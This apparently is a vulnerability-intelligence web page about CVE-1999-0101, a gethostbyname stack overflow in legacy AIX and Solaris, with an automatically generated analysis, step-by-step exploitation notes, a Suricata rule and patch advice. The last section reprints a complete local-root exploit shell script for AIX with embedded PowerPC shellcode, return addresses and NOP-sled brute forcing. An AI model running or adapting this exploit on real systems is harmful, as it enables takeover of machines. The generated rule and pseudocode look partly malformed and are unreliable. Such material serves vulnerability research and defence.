☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-1999-0101

This report provides a detailed analysis of CVE-1999-0101, a critical buffer overflow vulnerability within the `gethostbyname` library function in legacy versions of IBM AIX and Sun Solaris.
📅 PUBLISHED: 1996-12-10 05:00 UTC 🔄 UPDATED: 2026-08-21 19:21 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CLAIMED — single source claims patch (not independently confirmed)
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 7.84%
👁️
7.84% probability
195.9× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Affected: 3.2 — upgrade to patched release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
10.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

This report provides a detailed analysis of CVE-1999-0101, a critical buffer overflow vulnerability within the gethostbyname library function in legacy versions of IBM AIX and Sun Solaris. The vulnerability allows an unauthenticated remote attacker to achieve arbitrary code execution, typically with root privileges, by providing a malicious DNS response to a vulnerable service.

The flaw resides in the library's failure to properly validate the length of a hostname returned by a DNS server. An attacker-controlled DNS server can respond with an overly long hostname, which overwrites adjacent memory on the stack when processed by the gethostbyname function. This can be leveraged to overwrite the function's return address and redirect program execution to attacker-supplied shellcode, resulting in a full system compromise.

Crucially, this vulnerability was patched by vendors over two decades ago. Any systems still vulnerable are severely outdated, unsupported, and exposed to extreme risk. The primary and most urgent recommendation is to apply the official vendor patches or, preferably, decommission these legacy systems and migrate to a modern, supported operating system.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS v2.0 Score: 10.0 (Critical)

The CVSS score of 10.0 reflects the maximum possible risk associated with a vulnerability. It is a classic "pre-auth RCE" (Remote Code Execution) scenario.

  • Attack Vector (AV): Network (N): The vulnerability is exploitable remotely over a network without any local access required. The attack is delivered via a malicious DNS response.
  • Attack Complexity (AC): Low (L): An attacker only needs to control the DNS resolution for a target service, which can be achieved through DNS poisoning or by luring a service to resolve a malicious domain. No complex interaction or configuration is needed on the target's part.
  • Authentication (Au): None (N): No authentication or privileges are required to exploit this vulnerability. The attack targets system-level library functions that are often called by unauthenticated network services (e.g., FTP, Sendmail).
  • Impact (Confidentiality: C, Integrity: C, Availability: C): Complete (C): A successful exploit grants the attacker full control over the affected system. They can read all data (Complete Confidentiality loss), modify any file or system setting (Complete Integrity loss), and cause a total denial of service by crashing or shutting down the machine (Complete Availability loss).

Deep Dive & Mechanics

The gethostbyname function is a standard C library call used to resolve a human-readable hostname into an IP address. The vulnerability stems from its implementation in affected AIX and Solaris libraries, where a fixed-size buffer was allocated on the stack to store the hostname received from a DNS query.

The attack unfolds as follows:

  1. Triggering Event: A network-facing service on the vulnerable host (e.g., ftpd, sendmail, telnetd) receives an incoming connection. As part of its logging or connection handling, the service attempts to resolve the IP address of the connecting client back to a hostname by calling gethostbyname.
  2. Malicious DNS Response: The attacker ensures that this DNS query is routed to a DNS server they control.
  3. Payload Delivery: The attacker's DNS server responds with a specially crafted, overly long hostname. This "hostname" is not a valid name but a carefully constructed payload consisting of:
    • NOP Sled: A series of No-Operation instructions (0x90) to provide a "landing pad" for the execution flow.
    • Shellcode: The actual malicious code designed to, for example, spawn a root shell (/bin/sh) accessible to the attacker.
    • Return Address: A new memory address that points back into the NOP sled.
  4. Buffer Overflow: The vulnerable gethostbyname function copies the malicious hostname into its small, fixed-size stack buffer. Because there is no bounds checking, the copy operation does not stop at the buffer's boundary.
  5. Execution Hijack: The payload overwrites the buffer, adjacent stack variables, and, most importantly, the saved return address for the function. When gethostbyname finishes its execution, instead of returning to the calling service, it "returns" to the address supplied by the attacker, which points to the shellcode now located on the stack.
  6. Compromise: The shellcode executes with the privileges of the process that called gethostbyname. Since many of these network daemons ran as root, the attacker gains complete control of the system.

Vulnerable vs. Patched Code

The exact source code is proprietary, but the principle can be illustrated with C-style pseudocode.

Vulnerable Pseudocode: The flaw lies in using an unbounded copy function like strcpy with a fixed-size stack buffer.

// Simplified, conceptual representation
struct hostent *gethostbyname(const char *name) {
    // ... DNS query logic ...
    
    // DNS server responds with a hostname, stored in 'dns_response_name'
    char *dns_response_name = "AAAAA...(500 bytes)...[SHELLCODE]...[NEW_RETURN_ADDR]";

    // A small, fixed-size buffer on the stack
    char hostname_buffer[256];
    
    // Unsafe copy! If dns_response_name > 256 bytes, this will overflow the buffer,
    // corrupting the stack and overwriting the function's return address.
    strcpy(hostname_buffer, dns_response_name); 

    // ... further processing ...
    
    // When the function returns, it will use the overwritten return address
    return &host_entry; 
}

Patched Pseudocode: The fix involves replacing the unsafe copy with a bounded function like strncpy or performing proper size checks before the copy operation.

// Simplified, conceptual representation of a patched version
struct hostent *gethostbyname_patched(const char *name) {
    // ... DNS query logic ...
    
    char *dns_response_name = "AAAAA...(500 bytes)...[SHELLCODE]...[NEW_RETURN_ADDR]";

    char hostname_buffer[256];
    
    // Get the length of the DNS response
    size_t response_len = strlen(dns_response_name);

    // SAFE COPY: Check the length before copying.
    // Only copy up to the size of the buffer minus one for the null terminator.
    if (response_len < sizeof(hostname_buffer)) {
        strncpy(hostname_buffer, dns_response_name, sizeof(hostname_buffer) - 1);
        hostname_buffer[sizeof(hostname_buffer) - 1] = '\0'; // Ensure null termination
    } else {
        // Handle the error: the hostname is too long.
        // Log the event and return an error.
        return NULL; 
    }

    // ... further processing ...
    
    // The stack is safe, and the function returns normally.
    return &host_entry;
}

Exploitation & Lab Setup

Exploitation Steps:

  1. Target Identification: An attacker scans for public-facing services (FTP, SMTP, Telnet) on unpatched AIX or Solaris systems.
  2. DNS Manipulation: The attacker uses DNS spoofing/poisoning or simply points a domain they own to the target, then connects from that domain to trigger a reverse DNS lookup.
  3. Payload Crafting: The attacker sets up a malicious DNS server (e.g., using BIND or a custom script) to respond to reverse DNS queries for their IP with an oversized record containing platform-specific (AIX/SPARC) shellcode.
  4. Triggering the Vulnerability: The attacker connects to a vulnerable service on the target machine (e.g., telnet target.server.com).
  5. Execution: The target's telnetd process calls gethostbyname to log the attacker's hostname. The malicious DNS response is received, the buffer overflows, and the attacker's shellcode is executed, providing them with a root shell.

Lab Setup (for historical research):

  • Virtual Machine: Use QEMU or VirtualBox to install a legacy OS from an ISO file (e.g., Solaris 2.6, AIX 4.3). This is challenging due to the age of the hardware drivers and installers.
  • Vulnerable Service: Enable a default network service like in.telnetd or in.ftpd.
  • Attacker Machine: A modern Linux VM.
  • Malicious DNS Server: Use a tool like dnsmasq or a Python script with a library like Scapy to act as a DNS server. Configure it to respond to queries for the attacker machine's IP with a long, crafted string.
  • Exploit Code: Use a debugger like gdb on the target to find memory offsets and craft a working payload. Public exploits from the era (e.g., from ADM) may serve as a reference.

Detection Engineering

A well-configured IDS/IPS can detect attempts to exploit this vulnerability by inspecting DNS traffic for anomalies. The primary indicator is a DNS response containing a hostname label that is unusually long, far exceeding the standard length limits, and often containing patterns indicative of shellcode.

Here is a Suricata rule to detect potential gethostbyname exploitation attempts.

alert dns any any -> any any (msg:"ET EXPLOIT Possible CVE-1999-0101 gethostbyname Overflow via Overlong DNS Response"; flow:to_client,established; dns.query; resp; content:"|00 01 00 01|"; offset:4; depth:4; byte_test:1,>,255,0,from_dns_name; content:"|90 90 90 90|"; distance:0; metadata:attack_target Server, cve CVE_1999_0101, created_at 2023_10_27, deployment Perimeter, signature_severity Major, tag Exploit, updated_at 2023_10_27; reference:cve,1999-0101; classtype:shellcode-detect; sid:19990101; rev:1;)

Rule Breakdown:

  • alert dns any any -> any any: Look at DNS traffic flowing in any direction.
  • flow:to_client,established: Focus on DNS responses (to_client) in an established session.
  • dns.query; resp;: Triggers on DNS responses.
  • content:"|00 01 00 01|"; offset:4; depth:4;: Ensures we are looking at a standard DNS answer.
  • byte_test:1,>,255,0,from_dns_name;: This is the core logic. It inspects the length of the DNS name field and alerts if it exceeds 255 bytes, which is a strong indicator of an overflow attempt.
  • content:"|90 90 90 90|"; distance:0;: Looks for the start of a common NOP sled immediately following the oversized name, increasing confidence that this is an exploit payload.
  • reference:cve,1999-0101;: Links the alert back to this specific CVE.
  • classtype:shellcode-detect;: Classifies the event as a likely shellcode execution attempt.

Remediation & Mitigation

The primary remediation is to apply the official vendor patches immediately. This vulnerability is ancient, and patches have been available for over two decades. There is no reason for any system to remain vulnerable.

  • Patching (Urgent):

    • IBM AIX: Apply the relevant Authorized Program Analysis Reports (APARs). Key APARs for this issue include IX79822, IX80074, IX80075, and IX80133, depending on the AIX version. Consult IBM support documentation for the precise patch for your system.
    • Sun Solaris: Apply the relevant security patches. For Solaris 2.6, this was Patch ID 105210-02 or later. For Solaris 7, it was 106541-01 or later.
  • Decommission and Upgrade (Highly Recommended): IBM AIX 4.3 and Solaris 7 are far beyond their end-of-life dates. They no longer receive security updates and are likely vulnerable to countless other exploits. The most effective long-term strategy is to migrate all applications and data from these legacy systems to a modern, fully supported operating system (e.g., a recent version of AIX, Oracle Solaris, or a mainstream Linux distribution).

  • Compensating Controls (If patching/upgrading is delayed):

    • Network Segmentation: Isolate vulnerable hosts from the internet and other untrusted networks using firewalls. Only allow connections from trusted, necessary sources.
    • Secure DNS Infrastructure: Configure systems to use only trusted, internal DNS resolvers. Block outbound DNS queries to external servers at the network perimeter.
    • Intrusion Detection/Prevention Systems (IDS/IPS): Deploy an IDS/IPS with rulesets (such as the Suricata rule above) capable of detecting and blocking anomalous DNS traffic indicative of this exploit.
    • Principle of Least Privilege: As a general security practice, avoid running network services as the root user whenever possible. Running services under a dedicated, unprivileged user account would limit an attacker's capabilities even if an exploit is successful.

[!] This Threat Intelligence report was automatically generated by Valters IT (valtersit.com) Neural Engine.

{/* [Security Hash: E8C72133D5FEE916CBA772C7] */}

⚠ EXPLOIT CODE 3RD-PARTY · UNVERIFIED

This code is sourced from public security research repositories (ExploitDB, GitHub). It has not been reviewed or verified by ValtersIT. Use only in authorized test environments. Unauthorized use against systems you do not own is illegal.

source: https://www.securityfocus.com/bid/6853/info

A vulnerability has been discovered in multiple vendor implementations of the 'gethostbyname()' library function, which is used to resolve network addresses.

The 'gethostbyname()' function fails to implement sufficient bounds checking on data copied into local memory buffers.

Under some circumstances, attackers may exploit this issue to overwrite sensitive locations in memory and may leverage the issue to execute arbitrary commands with the privileges of the vulnerable application. This issue may be local or remote, depending on the particular applications that use the function on vulnerable systems.

Several applications may implement the 'gethostbyname()' function, thus exposing them to this vulnerability. Applications known to implement 'gethostbyname()' include various implementations of 'ping', 'ftp', and 'tftp'. Other applications may also be vulnerable.

#!/bin/sh

#######################################
## Local r00t 'shell-exploit' for:   ##
## gethostbyname() Buffer Overflow   ##
## [ BID 6853 / CVE-1999-0101 ]      ##
##            - - -                  ##
## By Roman Medina-Heigl Hernandez   ##
## aka RoMaNSoFt <roman@rs-labs.com> ##
##                                   ##
## Madrid, 28.Sep.2006               ##
## ================================= ##
## Public release. Version 1.        ##
## --------------------------------- ##
##   -= http://www.rs-labs.com/ =-   ##
#######################################


#############################################################################
#                                                                           #
#  This is merely a proof of concept for what I call a "shell-exploit"      #
#                                                                           #
#  * Original IBM Advisory: ERS-SVA-E01-1996:007.1  (03.Dec.1996)           #
#  * Affected platforms: IBM AIX(r) 3.2.x, 4.1.x, 4.2.x                     #
#  * Exploit tested on: PowerPC-604 running AIX 4.1.4.0                     #
#  * No need to use a compiler, perl, etc. Shell-scripting power!           #
#    Now you know what a pure 'shell-exploit' is  :-)                       #
#  * Syntax:                                                                #
#    % ./rs_aix_host.sh [RET length] [NOP length] [4140|41|42]              #
#                                                                           #
###############################################################--[ EOT ]--###


### Default configuration
ret_length=100
nop_length=300

### Return Address
# AIX 4.1.4.0 - Tested
TGT4140="AIX 4.1.4.0"
RET4140="\057\362\054\330"	# 0x2ff22cd8
# Generic AIX 4.1 - Untested, we assume the former one. Mail me if you have a better guess
TGT41="AIX 4.1.x"
RET41=$RET4140
# Generic AIX 4.2 - Untested, we assume the former one. Mail me if you have a better guess
TGT42="AIX 4.2.x"
RET42=$RET4140

### Shellcode (LSD's Asmcodes - PowerPC/AIX)
#
# char _shellcode[]=        /* 12*4+8 bytes                 */
#    "\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5             */
#    "\x40\x82\xff\xfd"     /* bnel    <shellcode>          */
#    "\x7f\xe8\x02\xa6"     /* mflr    r31                  */
#    "\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)       */
#    "\x38\x7f\xff\x08"     /* cal     r3,-248(r31)         */
#    "\x38\x9f\xff\x10"     /* cal     r4,-240(r31)         */
#    "\x90\x7f\xff\x10"     /* st      r3,-240(r31)         */
#    "\x90\xbf\xff\x14"     /* st      r5,-236(r31)         */
#    "\x88\x5f\xff\x0f"     /* lbz     r2,-241(r31)         */
#    "\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)         */
#    "\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6          */
#    "\x44\xff\xff\x02"     /* svca                         */
#    "/bin/sh"
# #ifdef V41
#    "\x03"
# #endif
# #ifdef V42
#    "\x02"
# #endif

PARTIALCODE="\
\174\245\052\171\100\202\377\375\177\350\002\246\073\377\001\040\
\070\177\377\010\070\237\377\020\220\177\377\020\220\277\377\024\
\210\137\377\017\230\277\377\017\114\306\063\102\104\377\377\002\
\057\142\151\156\057\163\150\
"
# AIX 4.1
SHELLCODE41=$PARTIALCODE"\003"
# AIX 4.2
SHELLCODE42=$PARTIALCODE"\002"

### NOP
NOP="\117\377\373\202"	# 0x4ffffb82   /* cror 31,31,31 */

### Setuid binary (target)
CMD=/bin/host

### Functions
oct2bin_setup()
{
	# Better to use printf binary if present
	if [ `printf "dSR"` = "dSR" ] >/dev/null 2>&1 ; then
		_PRINTCMD="printf"
		_SYSV=""
	elif [ `echo "RS\c"` = "RS" ] >/dev/null 2>&1 ; then
		# System V
		_PRINTCMD="echo"
		_SYSV="\c"
	else
		# Linux/BSD
		_PRINTCMD="echo -n -e"
		_SYSV=""
	fi

	if ! [ `$_PRINTCMD "dSR"$_SYSV` = "dSR" ] >/dev/null 2>&1 ; then
		echo "Sorry, I don't know how to write raw binary data :-("
		echo "Please, modify oct2bin* functions and try again!"
		exit 2
	fi
}

oct2bin()
{
	$_PRINTCMD $1$_SYSV
}

printhex()
{
	oct2bin $1 | od -t x4 -A n | tr -cd 0123456789abcdefABCDEF
}


### Exploit really starts here...
echo "#######################################"
echo "## Local r00t 'shell-exploit' for:   ##"
echo "## gethostbyname() Buffer Overflow   ##"
echo "## [ BID 6853 / CVE-1999-0101 ]      ##"
echo "##   . . . . . . . . . . . . . . .   ##"
echo "## By: RoMaNSoFt <roman@rs-labs.com> ##"
echo "#######################################"
echo

### Check target binary
if [ -x $CMD -a -u $CMD ] ; then
	echo "[*] Target binary has suid bit [$CMD]"
else
	echo "Sorry, target doesn't exist or it's not suid or cannot be executed"
	exit 3
fi

### We accept (optional) parameters
if [ $1 ] ; then
	ret_length=$1
fi

if [ $2 ] ; then
	nop_length=$2
fi

# Default target platform
TARGET=$TGT4140
RET=$RET4140
SHELLCODE=$SHELLCODE41

if [ $3 ] ; then
	if [ $3 = "4140" ] ; then
		TARGET=$TGT4140
		RET=$RET4140
		SHELLCODE=$SHELLCODE41
	elif [ $3 = "41" ] ; then
		TARGET=$TGT41
		RET=$RET41
		SHELLCODE=$SHELLCODE41
	elif [ $3 = "42" ] ; then
		TARGET=$TGT42
		RET=$RET42
		SHELLCODE=$SHELLCODE42
	fi
fi

### First, we convert octal strings to raw binary
oct2bin_setup
RET=`oct2bin $RET`
NOP=`oct2bin $NOP`
SHELLCODE=`oct2bin $SHELLCODE`

### Second, we create the NOP & RET sleds
echo "[*] Setting up exploitation environment..."

ret_sled=""
i=$ret_length
while [ $i != 0 ]; do
	ret_sled=$ret_sled$RET
	i=$(($i-1))
done

nop_sled=""
i=$nop_length
while [ $i != 0 ]; do
	nop_sled=$nop_sled$NOP
	i=$(($i-1))
done

echo "--> TARGET = $TARGET // RET = 0x"`printhex $RET`" // RETs = $ret_length //"\
     " NOPs = $nop_length <--"

### Prior to exploitation the environment will be un-exported to preserve memory layout
### and previous RET calculations
for i in `env | cut -d= -f1` ; do
	typeset +x $i
done

### Exploit it!
echo "[*] Exploiting..."
PAD="A"
ipad="A"
i=0
SUCCESS=0
while [ $i -lt 4 ]; do
	jpad=""
	j=0
	while [ $j -lt 4 ]; do
		EGG=$ipad$nop_sled$SHELLCODE $CMD $jpad$ret_sled
		if [ $? = 0 ]; then
			SUCCESS=1
			break 2
		fi
		jpad=$PAD$jpad
		j=$(($j+1))
	done
	ipad=$PAD$ipad
	i=$(($i+1))
done

### Finish politely ;-)
if [ $SUCCESS = 1 ]; then
	echo "--> Guessed PAD: EGG = $i // RET = $j <--"
	echo "Owned :-)"
	STATUS=0
else
	echo "Bad luck :-("
	STATUS=1
fi

exit $STATUS

# --[ EOT ]--
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-1999-0101/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.